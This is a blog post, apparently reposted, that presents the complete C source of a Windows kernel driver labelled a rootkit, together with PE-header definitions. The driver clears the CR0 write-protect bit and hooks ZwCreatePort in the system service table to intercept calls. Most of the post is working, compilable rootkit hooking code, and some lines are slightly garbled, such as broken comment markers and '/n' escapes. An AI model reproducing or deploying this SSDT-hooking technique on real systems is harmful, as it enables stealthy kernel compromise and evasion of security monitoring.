BASIC DEVICE DRIVER

// BASIC DEVICE DRIVER

#include "ntddk.h"
#include "peheader.h"

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

// a cheap way to steal the call number based on the mov instruction
// that lives at the function address.  For example,
//
//  mov     eax, 28h
//
// Every Zw* function starts with a mov instruction that moves the
// call number in EAX.  Thus the call number is 1 byte past the start
// of the function.  It's a hack.  It works for any Zw* function
// exported from ntoskrnl.exe
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)


/
// the system call table infoz
/
#pragma pack(1)
typedef struct ServiceDescriptorTable
{
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase; //Used only in checked build
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
#pragma pack()

//exported from ntoskrnl.exe
__declspec(dllimport)  SERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

/
// we use ZwQuerySystemInformation to find ntdll.dll in memory
/
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength);

// for reading the system module infoz
#define SystemModuleInformation     11

#pragma pack(1)
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG  Reserved[2];
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#pragma pack()


NTSYSAPI
NTSTATUS
NTAPI
ZwCreatePort(
 PHANDLE PortHandle,
 POBJECT_ATTRIBUTES ObjectAttributes,
 ULONG MaxConnectInfoLength,
 ULONG MaxDataLength,
 ULONG Unknown
);

typedef NTSTATUS (*ZWCREATEPORT)(
            PHANDLE PortHandle,
   POBJECT_ATTRIBUTES ObjectAttributes,
   ULONG MaxConnectInfoLength,
   ULONG MaxDataLength,
   ULONG Unknown
);

ZWCREATEPORT OldZwCreatePort;
PVOID gFunctionAddressForZwCreatePort;

/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
  {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
 {
   gProcessNameOffset = i;
 }
  }
}

/* Copy the process name into the specified buffer.  */

ULONG GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

NTSTATUS NewZwCreatePort(
 PHANDLE PortHandle,
 POBJECT_ATTRIBUTES ObjectAttributes,
 ULONG MaxConnectInfoLength,
 ULONG MaxDataLength,
 ULONG Unknown )
{
  NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwCreatePort() from %s/n", aProcessName);

        rc = ((ZWCREATEPORT)(OldZwCreatePort)) (
                        PortHandle,
      ObjectAttributes,
      MaxConnectInfoLength,
      MaxDataLength,
      Unknown);

  return(rc);
}


VOID Unload( IN PDRIVER_OBJECT DriverObject )
{
 DbgPrint("Unload called/n");

 // UNProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  and  eax, 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

 // put back the old function pointer
 InterlockedExchange( (PLONG) &(SYSTEMSERVICE(gFunctionAddressForZwCreatePort)),
       (LONG) OldZwCreatePort);


 // REProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  or  eax, NOT 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

}

 

NTSTATUS StubbedDispatch(
      IN PDEVICE_OBJECT theDeviceObject,
      IN PIRP theIrp )
{
 theIrp->IoStatus.Status = STATUS_SUCCESS;
 IoCompleteRequest( theIrp, IO_NO_INCREMENT );

 return theIrp->IoStatus.Status;
}

// adapted from Native API Reference, Gary Nebbett
PVOID FindNT()
{
 ULONG n;
 PULONG q;
 PSYSTEM_MODULE_INFORMATION p;
 PVOID ntdll = 0;
 ULONG i;

 ZwQuerySystemInformation( SystemModuleInformation,
        &n,
        0,
        &n);
 
 q = (PULONG) ExAllocatePool( PagedPool, n );
 
 ZwQuerySystemInformation( SystemModuleInformation,
        q,
        n * sizeof( *q ),
        0);

 p = (PSYSTEM_MODULE_INFORMATION) (q + 1);

 for( i = 0; i < *q; i++)
 {
  //DbgPrint("comparing to %s/n", (p[i].ImageName + p[i].ModuleNameOffset));
  if(0 == _stricmp(p[i].ImageName + p[i].ModuleNameOffset, "ntdll.dll"))
  {
   ntdll = p[i].Base;
   break;
  }
 }

 ExFreePool(q);
 return ntdll;
}

PVOID FindFunc( PVOID Base, PCSTR Name )
{
 PIMAGE_DOS_HEADER dos;
 PIMAGE_NT_HEADERS32 nt;
 PIMAGE_DATA_DIRECTORY expdir;
 ULONG size;
 ULONG addr;
 PIMAGE_EXPORT_DIRECTORY exports;
 PULONG functions;
 PSHORT ordinals;
 PULONG names;
 PVOID func = 0;
 ULONG i;

 dos = (PIMAGE_DOS_HEADER)Base;
 //DbgPrint("dos 0x%08X/n", dos);
 
 nt = (PIMAGE_NT_HEADERS32)( (PCHAR)Base + dos->e_lfanew );
 //DbgPrint("nt 0x%08X/n", nt);
 
 expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
 //DbgPrint("expdir 0x%08X/n", expdir);

 size = expdir->Size;
 //DbgPrint("size 0x%08X/n", size);

 addr = expdir->VirtualAddress;
 //DbgPrint("addr 0x%08X/n", addr);

 exports = (PIMAGE_EXPORT_DIRECTORY)( (PCHAR)Base + addr);
 //DbgPrint("exports 0x%08X/n", exports);

 functions = (PULONG)( (PCHAR)Base + exports->AddressOfFunctions);
 //DbgPrint("functions 0x%08X/n", functions);

 ordinals = (PSHORT)( (PCHAR)Base + exports->AddressOfNameOrdinals);
 //DbgPrint("ordinals 0x%08X/n", ordinals);

 names = (PULONG)( (PCHAR)Base + exports->AddressOfNames);
 //DbgPrint("names 0x%08X/n", names);

 DbgPrint("number of names %d/n", exports->NumberOfNames);

 for (i = 0; i < exports->NumberOfNames; i++)
 {
  ULONG ord = ordinals[i];
  if(functions[ord] < addr || functions[ord] >= addr + size)
  {
   //DbgPrint("Comparing name %s to %s/n", (PSTR)( (PCHAR)Base + names[i]), Name);

   if(0 == strcmp((PSTR)( (PCHAR)Base + names[i]), Name ) )
   {
    func = (PCHAR)Base + functions[ord];
   }
  }
 }

 return func;
}

// This gets the address for any function that is exported from NTDLL.DLL
PVOID GetCallAddress( PCSTR Name )
{
 ULONG syscall_number = -1;
 PVOID base;
 PVOID func;

 base = FindNT();
 if(base)
 {
  func = (PVOID) FindFunc( base, Name );
 
  if(func)
  {
   return func;
  }
  else
  {
   DbgPrint("Could not find function address for %s/n", Name );
  }
 }
 else
 {
  DbgPrint("Could not find base of NTDLL.DLL/n");
 }
 return 0;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 int i;
 
 DbgPrint("Rootkit: Loaded to hook non-exported functions in the kernel./n");

 GetProcessNameOffset();

 theDriverObject->DriverUnload  = Unload;

 for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
 {
  theDriverObject->MajorFunction[i] = StubbedDispatch;
 }

 gFunctionAddressForZwCreatePort = GetCallAddress("ZwCreatePort");

 // UNProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  and  eax, 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }


 // place the hook using InterlockedExchange (no need to disable interrupts)
 // this uses the LOCK instruction to lock the memory bus during the next instruction
 // Example:
 // LOCK INC DWORD PTR [EDX+04]
 // This staves off collisions on multi-processor machines, while cli/sti only disable interrupts
 // on the current processor.
 //

 OldZwCreatePort =
  (ZWCREATEPORT) InterlockedExchange(  (PLONG) &(SYSTEMSERVICE(gFunctionAddressForZwCreatePort)),
            (LONG) NewZwCreatePort);

 // REProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  or  eax, NOT 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

 
 return STATUS_SUCCESS;
}

 

 

 

//ktypes.h

ifndef _KERNEL_MODE_TYPES_DEFINITION_HEADER_
# define _KERNEL_MODE_TYPES_DEFINITION_HEADER_

typedef unsigned char  uchar_ut;
typedef unsigned int   ulong_ut;
typedef unsigned short ushort_ut;
typedef unsigned int   uint_ut;

typedef unsigned char    BYTE, *PBYTE;
typedef unsigned short   WORD;
typedef unsigned long    DWORD;
typedef __int64          INT64_PTR, *PINT64_PTR;
typedef unsigned __int64 UINT64_PTR, *PUINT64_PTR;

#endif //_KERNEL_MODE_TYPES_DEFINITION_HEADER_

//

 

//peheader.h

#ifndef __PE_HEADER_H
 #define __PE_HEADER_H

#include "ktypes.h"

#pragma pack(push)
#pragma pack(1)

//#define FIELD_OFFSET(type, field)    ((LONG)(INT64_PTR)&(((type *)0)->field))

#define IMAGE_DOS_SIGNATURE                 0x5a4d     //0x4D5A      // MZ
#define IMAGE_OS2_SIGNATURE                 0x454e     //0x4E45      // NE
#define IMAGE_OS2_SIGNATURE_LE              0x454c     //0x4C45      // LE
#define IMAGE_NT_SIGNATURE                  0x00004550 //0x50450000  // PE00

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

//
// File header format.
//

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;


#define IMAGE_SIZEOF_FILE_HEADER             20

//
// Directory format.
//

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

//
// Optional header format.
//

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // NT additional fields.
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

//
// Section header format.
//

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

#define IMAGE_SIZEOF_SECTION_HEADER          40


#define IMAGE_FIRST_SECTION32( ntheader ) ((PIMAGE_SECTION_HEADER)        /
    ((UINT64_PTR)ntheader +                                                  /
     FIELD_OFFSET( IMAGE_NT_HEADERS32, OptionalHeader ) +                 /
     ((PIMAGE_NT_HEADERS32)(ntheader))->FileHeader.SizeOfOptionalHeader   /
    ))

typedef struct {
  DWORD VirtualAddress;
  DWORD Size;
} RELO_HEADER, *PRELO_HEADER;


// Directory Entries

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

//
// Export Format
//

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;


#pragma pack(pop)

#endif //__PE_HEADER_H

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值